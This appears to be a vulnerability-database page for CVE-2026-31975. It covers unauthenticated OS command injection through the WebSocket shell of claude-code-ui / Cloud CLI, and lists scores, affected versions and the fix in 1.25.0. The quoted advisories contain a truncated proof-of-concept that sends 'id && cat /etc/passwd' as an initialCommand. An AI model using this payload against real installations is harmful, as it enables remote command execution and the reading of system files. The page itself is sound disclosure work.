CVE-2026-31975
published 2026-03-11CVE-2026-31975: Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.25.0, OS Command Injection via…
PriorityP271critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
EPSS
3.43%
87.5th percentile
Cloud CLI (aka Claude Code UI) is a desktop and mobile UI for Claude Code, Cursor CLI, Codex, and Gemini-CLI. Prior to 1.25.0, OS Command Injection via WebSocket Shell. Both projectPath and initialCommand in server/index.js are taken directly from the WebSocket message payload and interpolated into a bash command string without any sanitization, enabling arbitrary OS command execution. A secondary injection vector exists via unsanitized sessionId. This vulnerability is fixed in 1.25.0.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| cloudcli | cloud_cli | < 1.25.0 | 1.25.0 |
| siteboon | claude-code-ui | >= 0 < 1.25.0 | 1.25.0 |
| siteboon | claudecodeui | < 1.25.0 | 1.25.0 |
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv4.08.7HIGHCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
@siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection
osv·2026-03-11
CVE-2026-31975 [HIGH] @siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection
@siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection
# Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection
Download: [cve_claudecodeui_submission_v2.zip](https://github.com/user-attachments/files/25686652/cve_claudecodeui_submission_v2.zip)
## Submission Info
| Field | Value |
|-------|-------|
| **Package** | `@siteboon/claude-code-ui` |
| **Ecosystem** | npm |
| **Affected versions** | ` {
// Step 3: initialCommand is injected directly into bash
ws.send(JSON.stringify({
type: 'init',
projectPath: '/tmp',
initialCommand: 'id && cat /etc/passwd',
isPlainShell: true,
hasSession: false
}));
});
ws.on('message', (data) => {
const msg = JSON.parse(data);
if (msg.type === 'output') proce
GHSA
@siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection
ghsa·2026-03-11
CVE-2026-31975 [HIGH] CWE-1188 @siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection
@siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection
# Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection
Download: [cve_claudecodeui_submission_v2.zip](https://github.com/user-attachments/files/25686652/cve_claudecodeui_submission_v2.zip)
## Submission Info
| Field | Value |
|-------|-------|
| **Package** | `@siteboon/claude-code-ui` |
| **Ecosystem** | npm |
| **Affected versions** | ` {
// Step 3: initialCommand is injected directly into bash
ws.send(JSON.stringify({
type: 'init',
projectPath: '/tmp',
initialCommand: 'id && cat /etc/passwd',
isPlainShell: true,
hasSession: false
}));
});
ws.on('message', (data) => {
const msg = JSON.parse(data);
if (msg.type === 'output') proce
No detection rules found.
No public exploits indexed.
https://github.com/siteboon/claudecodeui/commit/12e7f074d9563b3264caf9cec6e1b701c301af26https://github.com/siteboon/claudecodeui/releases/tag/v1.25.0https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wrhttps://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr
2026-03-11
Published